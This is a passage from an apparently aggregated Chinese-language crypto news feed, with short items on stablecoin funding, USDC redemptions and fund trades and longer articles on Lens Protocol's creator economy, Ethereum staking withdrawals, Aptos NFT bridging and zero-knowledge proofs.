CNHC Group 筹集了 1000 万美元的资金。KuCoin Ventures 领投，其他投资者包括 Circle 和 IDG Capital。有了新的资金，CNH​​C 旨在扩大其稳定币的采用，尤其是在亚太地区。为此，该公司正将总部从开曼群岛迁至香港。CNHC 还计划通过招聘跨职能部门（包括运营、合规和业务发展）来增加其约 60 人的团队。 重要数据 派盾：Voyager过去12小时将价值2770万美元的加密货币转至Coinbase 据派盾预警监测，在过去的12小时内，标记为“Voyager”的地址已向Coinbase转移了价值2770万美元的加密货币，包括17000枚ETH(约合1900万美元)，1200万枚VGX(约合400万美元)，2700亿枚SHIB(约合300万美元)。 据悉，自2月14日以来Voyager几乎每天通过Coinbase出售加密资产。此前消息，法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍；美国司法部对纽约法官批准Voyager出售给Binance.US的决定提起上诉。 数据：自上周五以来USDC净赎回额超45亿美元 Whale Alert数据显示，今日凌晨04:12，723,507,072枚USDC在USDC Treasury处销毁，根据加密数据公司Arkham的说法，这创下了有记录以来最大的USDC单笔销毁记录。 此外，据The Block报道，自上周五以来，USDC的赎回额达到62亿美元，铸造额达16.6亿美元，即净赎回略高于45亿美元。 The Block Research研究主管Steven Zhang表示，尽管Circle开启赎回并保证赎回将得到储备，但USDC持有者似乎仍对当前环境感到紧张，鉴于Circle在许多其他银行持有现金储备，如果这些银行经历像我们在硅谷银行看到的那样的银行挤兑，这可能会导致USDC再次脱锚。 数据：黄立成地址昨晚抛售132枚MAYC 据欧科云链OKLink多链浏览器数据显示，被标记为“Jeffrey Huang”的中国台湾歌手黄立成（machibigbrother.eth）地址于昨晚20:36:23分开始大量抛售MAYC，截至发文前已卖出132枚，目前该地址下仍持有42枚MAYC。 Ark Invest周二通过三支基金增持超18万股Block股票（约1370万美元） 据The Block报道，Cathie Wood 的 Ark Invest 周二通过三支基金增持了 186,284 股 Block 股票。购买成本估计约为 1370 万美元。 根据其最新的交易文件，方舟在其 Ark Innovation ETF 中增加了 159,654 股 Block 股票，在 Ark Next Generation Internet ETF 中增加了 25,783 股，在 Ark Fintech Innovation ETF 中增加了 847 股。Block 昨日收盘上涨 6% 至 73.63 美元。根据收盘价计算，购买金额约为 1370 万美元。 昨日报道，Ark Invest周一通过三支基金增持超9万股Block股票（约640万美元）。  ( 5 min )
    Ark Invest周二通过三支基金增持超18万股Block股票（约1370万美元）
    PANews 3月15日消息，据The Block报道，Cathie Wood 的 Ark Invest 周二通过三支基金增持了 186,284 股 Block 股票。购买成本估计约为 1370 万美元。 根据其最新的交易文件，方舟在其 Ark Innovation ETF 中增加了 159,654 股 Block 股票，在 Ark Next Generation Internet ETF 中增加了 25,783 股，在 Ark Fintech Innovation ETF 中增加了 847 股。Block 昨日收盘上涨 6% 至 73.63 美元。根据收盘价计算，购买金额约为 1370 万美元。 昨日报道，Ark Invest周一通过三支基金增持超9万股Block股票（约640万美元）  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.15）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    数据解读Lens Protocol：如何成为Web3创作者经济的“参天大树”？
    作者：Biteye & SixDegree 核心贡献者 Loius Wang 编辑：Biteye 核心贡献者 Crush 创作者经济是 Web3 社交的重要组成部分。在 Web3 的社交应用中，用户不仅可以享有完全的账户拥有权和数据拥有权，更重要的是能够获得一种点对点的创作收益，跳出平台抽成的限制。 这种经济本质上仍然是创作变现，因此我们更倾向于称之为 creatorfi 而不是 socialfi。随着 Web3 技术的发展和普及，创作者经济有望成为社交应用的核心驱动力，促进创作者和用户之间更加平等和自主的互动与交流。 Lens 作为 web3 社交协议的龙头，创作者经济在 Lens 上的表现和前景如何？ 在创作者经济中，认知变现是一个主要的场景，但是它面临着这样的困境。如果创作者将所有内容免费公开，虽然有利于传播和建立影响力，但却不利于获得创作收益。 这是因为读者浏览后的打赏是完全基于利他行为的，创作者的收益无法得到保障。另一方面，如果创作者设置阅读门槛，例如只允许付费订阅或使用 gated content 功能进行付费阅读，则难以快速增长，对那些没有粉丝基础的创作者不友好。 针对这一问题，Lens 试图通过打造以创作者为中心的社区模型来解决认知变现的问题，将原本割裂的创作者和消费者身份融合进社区中。 要理解 Lens 上的创作者经济，我们需要先了解 Lens 构想的创作者社区中的三种不同身份、各自扮演的角色以及他们之间的关系。 1. 创作者（Creator） 创作者顾名思义，就是创作内容（post）的人，输出思想、文字、图片、视频、音乐等各种内容的用户。 2. 策展人（Curator） 艺术家需要办展览来展示自己的作品给大众，策展人在其中的作用就是推动作品走向大众的过程。在 Lens 中，这一推动的行为就是转发（mirror）。 3. 收藏者（Collector） 收藏者即消费者，只是消费行为表现为铸造并收藏 NFT（collect）。 从创作者出发，三种身份组成这样的闭环：创作者创作消费者愿意消费买单的内容，也为策展人提供值得宣传的观点； 策展人的作用有点像喇叭，通过转发传播内容，增加创作者的影响力，同时通过策展优质作品，增强自己的品牌效应； 好的策展人通常有比较强的品鉴能力和推广能力，收藏者只需要关注策展人就能够间接挖掘优质内容，因此策展人对于收藏者来说起到把控品味的作用； 收藏者，或者说消费者，其实就是流量本身，消费支持创作者，给策展人带来流量。 虽然我们将这三个身份抽象独立出来，但是这三个身份并不是割裂的，在不同的场景里，一个人可能是任意角色。 同时，也并非拥有一定关注度的 KOL 才能承担起策展人的身份，任何人通过转发，对内容起到推广作用，就是在扮演策展人的角色。 可能有人会奇怪为什么在这个闭环中好像没有「粉丝（follower）」这一概念？其实粉丝是整个闭环的隐形条件。 在这个以创作为为核心的社区闭环中，社区成员要么是创作者的粉丝，要么是策展人的追随者，也就是说，如果你没有 follow 就没有进入这个创作者社区。 那么这三种角色的组合是怎么样的呢？ create+mirror：马一龙刚发的推特，我立马转！ create+collect：看一眼 OpenSea mirror+collect：从苏富比买画 create+mirror+collect：Kanye 发了首新歌 mv 发在 Lenstube 上，Stani 帮他转发，两边粉丝一块买单 collect 其实这样的身份闭环讲到这，大家都会有种熟悉的感觉：推特好像也是这样？ 干货博主疯狂输出，KOL 转发观点，小散们 follow 这些大 V，听从他们（转发）的观点，顺便关注到干货博主们。 确实如此，唯一不同的地方在于，互联网不是为了促进资金流动而建立的，支付没有被嵌入到互联网的基础设施中。以平台为中心，以广告为动力的注意力经济在 Web2 占据了主导，取得了巨大的成功。 创作者成就了平台，但是平台随时能够剥夺走创作者的一切。 在传统的 Web2 社交应用中，平台往往是以广告为动力，以用户的注意力为目标，同时剥夺了创作者和用户的所有权和权力。 而在 Web3 时代，区块链技术的出现使得权力和所有权重新回到了创作者和用户手中。 在这种新的经济模式下，创作者和用户能够跳出传统平台的抽成，获得更多的点对点的创作收益和完全的账户和数据拥有权。 收入 创作者们在 Lens 协议上，通过用户付费收藏（collect）、订阅（subscribe）、转发（mirror）、关注（follow）等行为，目前一共收利$268k，人均收入$69.68，平均每笔收入$1.6。注意这里的平均指的是产生收益的创作者/交易。 (https://dune.com/sixdegree/lens-protocol-creator-economics) 在 lens 中，收藏 post 会铸造一个收藏 NFT，付费铸造也是 lens 上创作者的主要收入来源，目前共产生超 13 万笔收藏交易，产生收入$264k，占总创作经济收入的 99%。付费订阅、转发总共仅产生$5k 和$9.4k 的收益。 (https://dune.com/sixdegree/lens-protocol-creator-economics) 头部效应非常显著，收入超过$10k 的创作者仅三名，三人收入占全体创作者收入的 72%。单条收益最高的 post 赚取$58k，内容是女权斗争，collect 来获取 Proof of Protest。 (https://dune.com/sixdegree/lens-protocol-creator-economics) 消费 在 Lens 上创作，发布 publication 需要持有 Lens profile，而消费则没有限制。也就是说，对于错过 mint Lens profile 的用户来说，参与 Lens 生态的机会是花钱消费。 目前，共有 4 万 1 千多名用户在 Lens 上向创作者支付过费用，这些用户中 63.5% 是不持有 Lens profile 的。有意思的是，消费最多的前三名都是 Lens 团队的地址。 (https://dune.com/sixdegree/lens-protocol-creator-economics) 创作者数据解读 如果我们将 Lens 上创作者和消费者的数量进行对比，如下左图所示，蓝色曲线代表创作者的累计增长，红色曲线代表消费者的增长，蓝色曲线的斜率显然大于红色，即创作者的增长速度要高于消费者。 灰色曲线代表累计的消费者/创作者之比，当前维持在 0.5 左右的水平，趋于稳定。 观察右图二者每日新增量，创作者的增长较为持续，而消费者的增长显得比较随机，可能因为消费者的新增需要「爆款」post，或者一些项目方指定收藏的来引导。 考虑到在 Lens 上成为创作者的前提条件是持有 Lens profile，而 profile 又早在去年十一月就被限制白名单铸造了，也就是说，Lens 上的创作者数量几乎是有个软顶天花板的，而消费者数量则没有限制，但是实际上创作者和消费者的增长维持在一个同步稳定的状态。 这意味着 Lens 上的创作者经济并没有达到一个由点及面，如涟漪般扩散的理想状态。 (https://dune.com/sixdegree/lens-protocol-creator-economics) 如果我们观察创作收益和粉丝量的关系，可以发现大部分产生收益的创作者的粉丝量，都集中在 1k 以内。从数量上来说，创作者拥有 1k 以内的粉丝量相对来说较容易实现，或者说小 KOL 比较多，符合一般认知。 (https://dune.com/sixdegree/lens-protocol-creator-economics) 从总体收益金额来说，基本符合收益与粉丝量成正相关的逻辑。创作者经济中，拥有 5w 粉丝以上（算是 Lens 顶流）的收益占整体收益的 37%。 (https://dune.com/sixdegree/lens-protocol-creator-economics) 03、Lens 创作者经济前景畅想 在 Lens 上能否诞生出更好的创作者经济模型呢？结合最近推出的 module 和信息，给出一些猜测： 协同创作经济 Lens 最新推出的收益分配模式很好地阐述了这一理念，支持多个创作者收益分成，推动协作经济的发展，实现创作者共赢。 (https://twitter.com/LensProtocol/status/1633552713014452225?s=20) 为了增加创作的多样性和质量，创作者们可以在 Lens 上协同创作。这种模式下，创作者可以发起创作征集，邀请其他创作者进行协同创作。这不仅可以带来更多的灵感和想法，也可以增加创作者之间的互动和社区感。同时，协同创作中创作者之间又互为策展人，带来更多的粉丝和观众，增加作品的曝光和收益。 结合 AAVE 最大化创作者收益 Lens 最近上线了 aaveFeeCollect 模块，创作者的收益可以直接存到 AAVE v3 的池子里。这个模块的推出给人以无限的遐想：Lens 背靠 AAVE，当借贷协议龙头串联起社交协议龙头，这里面的可组合性就很强。 (https://docs.lens.xyz/docs/create-comment-typed-data) 目前，DeFi 领域的借贷协议都采用超额抵押的形式。尽管这种方式被称为「无需信任」，但本质上是基于不信任或缺乏信任的。在生活中，我们都能感受到信用贷款带来的便利。 在去中心化的世界中，信任的来源是什么呢？DID 协议构建的社交关系和社交图谱可能是一个解决方案，但是 DID 协议和借贷协议之间缺乏信任，两者之间的合作桥梁建立起来并不容易。 如果两者属于同一家公司呢？ AAVE 可以让 Lens 上的优质创作者获得更多的收益，他们可以将资金直接存入 AAVE 以获取利息，并可以制定一套社交评价机制来变现信用。在借贷时，这些优质创作者可以获得更低的抵押率或更好的健康因子。 (https://twitter.com/andreiponi/status/1634936477678469121?s=20) 目前来说，Lens 在创作者经济中仍面临着一些困境和挑战，但同时也蕴含着大量的破局机会和潜力。Lens 基于区块链技术，为创作者提供了完全拥有账户权利的优势，这是传统社交媒体所不具备的。 Lens 的一切都基于 NFT，结合 NFT 特性，与其他协议的互操作性为创作者经济提供了广阔的想象空间，但是就好像隔了一层纱，需要更多的尝试和挖掘去捅破。 总之，Lens 的未来充满了无限可能和想象空间。作为 Web3 时代的先锋之一，Lens 为创作者和用户创造了一个完全自主和开放的创作平台，让每个人都能够参与到数字时代的文化和艺术创新中来。 虽然 Lens 还处于早期的发展阶段，但这也意味着留给 Web3 原住民一大片淘金地和探索空间，让他们去发现和开创更多的创作方式和变现模式。 参考文献 [01] https://dune.com/sixdegree/most-profitable-content-on-lens [02] https://dune.com/sixdegree/lens-protocol-creator-economics [03] https://dune.com/sixdegree/lens-impact-on-its-partners [04] https://foresightnews.pro/article/detail/23506  ( 6 min )
    一文读懂以太坊质押提款的工作原理
    原文：《Understanding Withdrawals》by Jim McDonald 翻译：John, ECN    审阅：Franci, ECN 提款 (withdrawals）是验证者生命周期（validator lifecycle）中缺失的一部分，从 2020 年 12 月以太坊共识链一开始启动以来就在开发当中，现在将随上海升级而来。由于上海升级将在今年上半年启动，所以值得注意和理解什么是提款，其工作机制，以及这个新特性的使用方法。 当共识链第一次在2020年12月启动时，你无法从共识链上发送任何信息到执行链上去。也就是说，尽管余额能在共识链上累积，你也无法通过执行链去提现，因为技术上在当时提款是不可能的。经年累月过后以太坊的结构已经被改变得可以容纳新的研究成果，转变为当前以 layer 2 为中心的扩容模型，并且很大程度上保持了执行链的原貌。在2022年的 9 月，执行链与共识链合并了，执行区块变成了共识区块里数据的一个子集。这时信息从共识链上转移到执行链上就是可行的了，其中一个例子就是验证者奖励。 你可以在”理解合并后的奖励“（”Understanding post-merge rewards”）一文中找到共识链和执行链互动以及合并的区块如何构建的详细细节。关键点在于只有在合并之后提款才变成可能。 自从 2020 年 12 月的共识链创世以来，验证者一直在产生区块并维护链的安全。具体来说，他们一直在提议新的区块，并参与对它们自己和其他验证者提议的区块的投票（注解 2）。当被正确执行时，这些行为会为验证者带来奖励。共识链启动时只有 2 万多名验证者，但在笔者撰文时已经约有 52 万名活跃的验证者在确保其安全性。从 2020 年 12 月 到 2022 年 9 月，共识链只维护了其自身的安全，但是这为合并的到来铺平了道路（注解 3），从 2022 年 9 月之后执行链就已经仅由验证者们保证其安全性。 为了回报他们维护区块链安全性的行动，这些验证者被许诺以根据以太坊协议直接产生的奖励，这些奖励被记录在共识链上。 因为共识链本身没有执行能力，所以积累在上面的 ETH 无法从一个账号被转移到另一个。确实共识链甚至没有账户的概念，链上唯一有余额的实体是验证者本身。这意味着这些验证者的奖励虽然在过去两年稳定增长，但是却没有提取它们的方法。 在所有验证者中，共识链已经产生了超过 1 百万的 ETH 作为累计的奖励。 就个人的验证者而言，他们的奖励取决于一系列的因素，但最明显的莫过于他们作为活跃验证者的时间。有很多验证者已经积累了一笔数量巨大的奖励： 大多数验证者获得了只有少于 2 个 ETH 的奖励， 有些高达 5 个 ETH，尽管这些奖励被登记在在共识链上，但是它们无法在执行链上被实例化，直到提款的功能就位。 注意，自从合并之后，除了上述的奖励，提议区块的验证者会获得一部分交易费。这些费用会直接在执行链上被支付，因此下文不会再论述它们。 上海升级（注解 4）提供了一个从共识链上转移奖励到执行链上的机制，每一个执行区块都会包括大约 16 次把 ETH 转移到执行链账号上的提款（注解 5）的数据。提款有以下数据结构： 图表 3：一笔提款 一笔提款的单个组成部分分别为： 提款索引（Withdrawal index） 提款的唯一标识符，便于引用。 验证者索引（Validator index） 共识链上一笔提款来源的验证者的索引 地址（Address） 提款将会被汇集到的地址 数目（Amount） 将会被添加到账户的 ETH 数目，单位是 Gwei（注解 6） 当区块被导入到执行链中时，提款将会根据给定的数量进行处理，相应地址的余额会增加。注意提款不是交易，它们不消耗 gas，它们也不会在提现地址触发任何智能合约的操作。一旦区块被处理完毕，相应的余额将会增加，但不会再有其他的事情发生。 上述的信息描述了什么是提款，但是提款发生时的 ETH 是从哪来的呢？ 尽管一个验证者的信息被创建时，需要向以太坊存款合约存入 32 个 ETH，但是不能以提款为目的访问这些 ETH，因为合约里没有任何允许代币转移的机制。这些账目总和的使用也最终会导致合约出现负的余额，因为现在验证者的在共识链上的余额总和超过了一开始存款的总和。 提款是用根据以太坊协议产生的资金（即新增发的 ETH）来支付的，而不是从已有的账户上转移。这保证了提款可以一直被支付，即使从共识链上提出的总数目高于存入的总数目。 在内部，共识层的软件持有一个存有验证者信息的简单列表： 每一个验证者实体的独立组成部分分别为： 索引（Index） 对应这个验证者及其列表内位置的唯一索引 状态（State） 目前这个验证者的状态，比如“活跃中”或“退出中”（注解 7） 余额（Balance） 目前该名验证者的余额，单位为 Gwei 提款凭证（Withdrawal credentials） 该名验证者的提款凭证 上述这些概念大多数都是不言自明的，然而提款凭证却需要一些解释。每一个验证者都有一组提款凭证。这些凭证控制了共识层资金的流向，包括初始的存款和接下来的奖励。 目前有两种提款凭证： 我们待会再来详细地探索这些概念，但是，目前的重大区别在于，type 1 的提款凭证允许共识资金被提款到执行链上去，而 type 0 提款凭证不行。 共识链按顺序处理提款，从索引 0 开始一直处理到某一集合中最后那个索引，然后再从头开始。你可以用一个单指针的模拟时钟作为类比提款进程的一种思考方式。 每一个钟上的刻度代表一个验证者，从验证者索引 0 开始到最后那个（目前大概是 52 万个）。 图表 4 提款时钟 一旦上海升级上线，区块就会包含提款信息。为了选择哪些验证人可以提款，时钟指针围绕验证人转动，每当它指向一个有资格提款的验证者时，该名验证者的部分或全部余额将根据以下规则被提出： 如果上述其中一条规则适用，就会有一笔提款产生并被添加到区块里；如果上述两条都不适用，那么验证者就会被认为不符合条件，指针会继续往下走。指针会继续跳动直到它找够 16 个符合条件的验证者（注解 9），这时单个区块所需的提款笔数足够了，提款信息就会被包含进区块中。 时钟指针走完一轮的时间取决于符合资格的验证者数量。 在笔者撰文时有大约 520,000 名验证者处于活跃状态。若每个区块有 16 笔提款，每天 7,200 个区块，则每处理一轮符合资格的验证者集将需要大概 4.5 天。但正如上图所示，这个时间将随着符合资格的验证者数量改变而改变。 正如上文所述，要成为符合资格的验证者必须拥有 type 1 的提款凭证。笔者撰文时有大概 40% 的验证者拥有 type 1 的凭证，其余的则拥有 type 0 凭证。上海升级会带来从 type 0 升级到 type 1 提款凭证的能力，如此验证者便能接收奖励。修改提款凭证需要创建一个在共识链上广播的签名操作。这个操作的结构如下图： 图表 6：修改提款凭证的操作 操作的组成部分分别为： 信标链上的操作过程如下： “就每一个被验证者索引所定义的验证者而言，检查给定的 BLS 公钥是否可以转换为匹配当前验证者的 type 0 提款凭证。若可以，则把给定执行地址转换成 type 1 的提款凭证并为验证者更新。” 因此，修改凭证的操作只能发生一次。 一旦修改凭证的操作被处理完毕，链上验证者的定义就会包含 type 1 提款凭证，所以就据上文所述就没有 type 0 提款凭证可供匹配了。也就是说，type 1 凭证一旦被设定就将在其生命周期内保持不变。（注解 11） 修改提款凭证的第一步就是选择用来接收提款的以太坊执行地址。正如上文所描述的，你只能作一次改变，所以你必须保证你在做设置之前已经确保了地址私钥的控制权。若你有多个验证者身份那么你需要考虑是否要为每一个验证者身份提供一个不同的提款地址，或者为所有的验证者身份使用相同的地址： 设置相同的地址方便了你，奖励会更快地累积到这个地址去，因此消耗的 gas 会更少。 设置不同的地址，保持它们互不关联则增加了你的验证者身份的安全性，若这些验证者身份本身就是互不关联的（不同的储蓄地址，不同的或者本来就没有的区块提议涂鸦等） 一旦执行地址被选定，则需要为每一个验证者创建并签署一个操作。由于暴露与提款凭证相关的私人信息的敏感性（可能是私钥或者助记词），我们推荐离线创建。操作方法超出了这篇文章论述的范围，但你可以参考使用 ethdo 工具这么做的详细指南，或者使用未来其他可用的工具和向导。 在创建操作之后，你需要把它们广播在共识链上。若操作是在上海升级之后才被提供给共识节点的，那么它会在下一次机会被广播到网络中以打包进区块。若操作是在上海升级之前被提供给共识节点的，那么它会被储存起来并在升级完成后被广播到网络。注意这需要你连接到一个可以识别上海升级的共识节点上；就目前来看这些共识节点预计将在 2 月的某个时候可用，为主网升级提供了良好的时机。 正如上文所述，创建凭证修改操作应该在离线状态下进行。这避免了提款的私钥被暴露给不安全的电脑从而导致私钥被窃取的情况。然而，访问一台在线的电脑需要从信标节点上获取信息，并最终广播凭证修改操作。因此，我们推荐用一个在线/离线的进程来创建并广播修改操作。 图表7：在线和离线的配置中创建和广播修改提款凭证操作 有不少的工具都遵循这个过程，比如ethdo 就有他们自己的文档交代如何进行这个过程，下文是每一步的概览，讲述其作用和意义。 1.获取链上信息 要创建有效的已签名的凭证修改操作，你需要从链上获取不同的信息，这些信息应该从链本身获取以保证是正确的信息。我们同样推荐获取一份包含目前所有验证者信息的列表。因为这样可以更容易地创建操作，同时验证创建的操作是否适合验证者。 这些信息来自一个活跃中的共识节点，因此需要从一台联网的电脑上获取这些资料。大多数运行验证者程序的实体应该都有访问共识节点的权限，但是如果它们将质押过程委托给一个服务商，那它们应该设法从服务商获取必要信息。 这将产生一份包含链上信息的文件。文件本身不会带有私钥或其他敏感信息。 2.转移链上信息 一旦链的信息被收集完成，那就需要把它从一台在线的电脑转移到一台离线的电脑。目前的普遍做法是通过 USB 存储，USB 存储允许两台电脑不需要直连就能完成信息的转移。这意味着离线的电脑可以完全与互联网断开连接，极大地增加了私钥或者助记词的安全性。 3.创建凭证修改操作（Credentials Operations） 一旦离线的电脑上有了链的信息，那就可以进行凭证修改操作的创建了。这要求对创建了目前提款凭证的助记词和私钥的访问权，所以在离线的电脑上运行这个进程更加安全。 私钥和助记词有可能创建了多个验证者的凭证，因此创建进程可能会产生多个修改操作。 这会产生一个包含了修改凭证操作的文件，文件自身不会包含私钥或者其他敏感信息。 4.转移凭证修改操作 一旦凭证修改操作的文件被创建完成，就需要把它从离线的电脑上转移到在线的电脑上。再说一次，USB 存储或类似的方式是普遍的最优做法。 5.广播凭证修改操作 一旦在线的电脑上有了凭证修改操作的文件，就可以通过将这些操作发送到某个共识节点来向以太坊网络广播。最有可能是发送到下载链信息回来的那个节点上。 一旦操作被提交到共识节点上，节点就会把它们在全网范围内广播，一旦共识区块打包了这些操作那么修改就会随之生效。每一个区块都有容纳 16 个修改操作的空间， 所以有可能需要 4 天才能让一个操作被添加到一个区块里去，但是更有可能的是 1 到 2 个小时就可以添加。 提款功能将随着上海升级推出，自从共识链启动以来第一次使用户的共识奖励变得可用。一旦设置好之后，它们就会自动地为任何验证者所用，而升级也带来了一个机制来配置那些尚未准备好提款的验证者。 验证者生命周期完成之后，共识链就履行了对质押者们从 2020 年 12 月以来许下的承诺，并准许验证者离开这个他们此前觉得可能离开不了的系统。额外的验证者将为以太坊带来更强的安全性以及一条更强大的链。 1.以太坊有多条链，通常被称为共识链（或称信标链）和执行链，欲了解更多信息请参考文章”理解合并后的奖励“。 2.他们同样参与到同步委员会中，但这些都是见证的另一种形式。 3.就是用俗话解释以太坊从工作量证明共识机制到权益证明共识机制的迁移。 4.与共识链上的 Capella 升级同时进行。 5.严格意义上最高可以达到 16 笔提款，除极端情况外，所有 slot 都应该是满的。 6.共识链上的所有数值都是以 Gwei 为单位的，因此从共识链到执行链的任何代币转移都是一个以 Gwei 为单位的整数。 7.状态实际上来自验证者信息中的其他字段，所以它不会呈现在验证者的定义里，但是由于它在文章其他地方被引用了，所以把它展示在这。 8.“活跃中”和”可提款“的状态定义可参考文章“理解验证者生命周期” 9.在 16384 名验证者之后提款时钟的指针就会停止跳动，即使找不够 16 名符合资格的验证者，尽管这种情况不太可能在测试网以外发生。 10.笔者撰文时这个数字实际上大约是 7160，因为一些区块没被提议或者在提议后变成了孤块。 11.这可能随着新的操作的引入而在未来改变，但在笔者撰文时尚无这样的计划。 12.预计在升级后的头几天会有一波验证者修改他们凭证的初始高峰期，在这之后排队的人将会很少，因为大多数符合资格修改凭证的验证者都已经修改完。 点击“阅读原文”获取文章内部链接！ 原文链接：https://www.attestant.io/posts/understanding-withdrawals/ ECN 的翻译、编辑工作旨在为以太坊中文社区传递优质资讯和学习资源，文章版权归原作者所有，转载须注明原文出处以及 ETH 中文。若需长期转载，请联系 eth@ecn.co 进行授权。  ( 6 min )
    离岸人民币稳定币项目CNHC完成1000万美元A+轮融资，KuCoin Ventures领投
    PANews 3月15日消息，据The Block报道，与离岸人民币 1:1 挂钩的 CNHC 稳定币的发行人 CNHC Group 筹集了 1000 万美元的资金。KuCoin Ventures 领投，其他投资者包括 Circle 和 IDG Capital。有了新的资金，CNH​​C 旨在扩大其稳定币的采用，尤其是在亚太地区。为此，该公司正将总部从开曼群岛迁至香港。CNHC 还计划通过招聘跨职能部门（包括运营、合规和业务发展）来增加其约 60 人的团队。  ( 4 min )
    Aptos上NFT如何进行跨链操作？（附手把手教程）
    原文：《如何实现Aptos 链上NFT 的跨链？》 作者：Aptos Global 目前Aptos 链上NFT 可以通过Wormhole 可以实现与其他的链进行跨链了，这是如何实现的？对于普通用户来说，应该怎么操作？ Aptos 联合创始人兼首席执行官Mo Shaikh 表示「借助 Aptos NFT 桥，Wormhole 将Aptos 的网络互操作性提升到了一个新的水平，Aptos 将会迎来通过该桥访问的数百万NFT资产和数千名创作者和艺术家。」 NFT 桥支持在任何支持的链之间来回传输 NFT，同时保留其元数据。当一个 NFT 被转移出它的起源链时，会发生这样的事情： 1）NFT 被锁定在 NFT 桥智能合约中； 2）一个等效的包装 NFT 被铸造到目标链上的相对应的collection中； 3）这个被包装的 NFT 同名，看起来和原来的一样，行为也和链上的其他 NFT 完全一样，在 EVM 链上，包装的 NFT 是 ERC721 代币，在 Solana 上，它们是带有 Metaplex 元数据的 SPL 代币，在 Aptos 上，它们是 Aptos 代币标准的实例。 除了名称和外观之外，被包装的 NFT 的独特之处在于能够将它们发送回原始链并解锁原始 NFT。这意味着，例如，源自 Aptos 的 NFT 可以桥接到以太坊，随后在 Opensea 上出售，然后可以由新所有者转回 Aptos。 用户目前可以将 NFT 从 Arbitrum、Aurora、Avalanche、BSC、Celo、Ethereum、Fantom、Karura、Klaytn、Moonbeam、Oasis、Optimsm、Polygon 和 Solana 桥接到 Aptos，反之亦然。 过去，一些高级 NFT，如数十个 Cryptopunks 和一个 Beeple，已通过 Wormhole 跨链到Aptos 上了。 Wormhole 是什么？ Wormhole 是一种互操作性协议，允许项目构建在其通用消息传递层之上，它链接多条链，包括 Ethereum、Solana、Binance Smart Chain、Polygon、Avalanche、Algorand、Fantom、Karura、Celo、Acala、Aptos 和 Arbitrum。 Wormhole 通过从一条链向另一条链发送消息来实现这一点，这些消息由节点的守护者网络观察和验证，验证通过后，将这条消息提交给目标链进行处理。这个简单的消息传递原语启用 xChain 功能，用户与 xDapps（xChain 去中心化应用程序）交互以在网络之间传输 xAssets（跨链资产）或访问他们的 xData（xChain 数据）以在他们当前的网络上为他们提供服务。 Wormhole 目前协议的总交易量已经超过$35B，已成功传输数亿条消息，每天提交数百万条消息，有超过 60 种协议构建在 Wormhole 的通用消息传递层之上。 1）点击链接 https://www.portalbridge.com/#/nft 可以看到有多条链的NFT 可供选择，如选择Arbitrum 上的NFT 进行跨链； 2）选择某一个待跨链的NFT，点击再经过钱包的签名确认即可； 3) 点击「redeem」即可将封装好的NFT 再跨链回来。  ( 5 min )
    Cosmos Hub：V9 Lambda升级已完成，已启用Replicated Security功能
    PANews 3月15日，Cosmos Hub在推特上宣布，V9 Lambda升级已成功完成，Replicated Security功能已在Cosmos Hub启用。 此前今日早些时候消息，Cosmos于今日16:01左右到达激活V9 Lambda升级的区块高度14470501。本次升级旨在激活Replicated Security功能，支持将Cosmos Hub的安全性复制到消费者链，并监控对规则的遵守情况，消费者链可以从Cosmos Hub的安全性中受益，而不必维护自己的验证者；而ATOM质押者将受益于消费者链产生的一定比例的代币或费用作为质押奖励。  ( 4 min )
    解读零知识证明中的实现差异：zkSNARKs与zkSTARKs优缺点对比
    编译：Cindy，SophonLabs 随着计算机技术的不断发展，我们可以轻松地在互联网上存储、传输和处理大量的个人和企业数据。然而在这个数字化时代，大家对数据隐私和安全的担忧也越来越高。为了保护数据的隐私性，密码学家们开发了许多技术，其中零知识证明（Zero-Knowledge Proof，ZKP）是其中一项核心技术。在本文中，我们将盘点细分零知识证明中的实现差异。 零知识证明的两种主要类型是交互式和非交互式。交互式零知识证明和非交互式零知识证明都是证明者（prover）和验证者（verifier）之间进行的过程，但它们在证明的交互流程上有所不同。 交互式零知识证明 (IZKP) 要求证明者和验证者进行来回对话，在对话中证明者对验证者的查询做出响应。这种互动可以亲自进行，也可以通过互联网等网络进行。需要与验证者进行多轮的交互，以便验证者可以询问有关所证明语句之外的附加信息。在每一轮中，证明者需要根据验证者的询问提供一个回答。 这种交互式证明方法对于某些复杂的问题可行，但可能会带来时间和计算成本的问题，并需要所有参与者进行通信。另一方面，非交互式零知识证明 (NIZKP) 不需要证明者和验证者之间的任何交互。非交互式零知识证明是指证明者可以一次性地生成证明，并将它发送给验证者，而不需要进行多轮的交互。与交互式证明相比，非交互式证明速度更快，需要的计算成本和通信量也更少。但是，它有时可能不是可行的方案，如需要涉及附加信息的证明，或需要证明一个非常复杂的语句时。相反，证明者创建了一个单一的、自包含的证明，验证者可以在没有进一步沟通的情况下独立验证。这比交互式证明更方便和高效，因为它不需要证明者和验证者同时在线或交换多条消息。 实现这一目标的最经典方法之一是使用基于数字签名的 Fiat-Shamir 启发式技术。交互式和非交互式零知识证明之间的主要区别之一是证明者和验证者之间所需的信任级别。在交互式证明中，验证者必须信任证明者遵守协议并对他们的查询提供诚实的回应。另一方面，在非交互式证明中，验证者根本不需要信任证明者，因为他们可以在不依赖证明者提供的任何信息的情况下独立验证证明。两种类型的零知识证明之间的另一个区别是所需的计算复杂度级别。 交互式证明往往比非交互式证明计算量更大，因为它们需要证明者和验证者交换多条消息并执行额外的计算。另一方面，非交互式证明只需要验证者进行一次计算，从而使它们更加高效和可扩展。交互式和非交互式零知识证明各有利弊，给定场景的最佳选择将取决于具体要求和约束。交互式证明可能更适用于证明者和验证者同时在线且可以轻松沟通的情况。相比之下，非交互式证明可能更适用于证明者和验证者不同时在线或证明者可信度不确定的情况。总之，交互式零知识证明和非交互式零知识证明通常是根据特定问题和应用场景来选择的。 交互式零知识证明是最早被研究和广泛应用的零知识证明类型之一。在这种证明过程中，证明者和验证者之间会进行多轮的交互。这些交互旨在允许验证者向证明者询问特定的信息，以验证被证明的内容。这种交互性质使得交互式证明可以非常有效地解决复杂的问题。 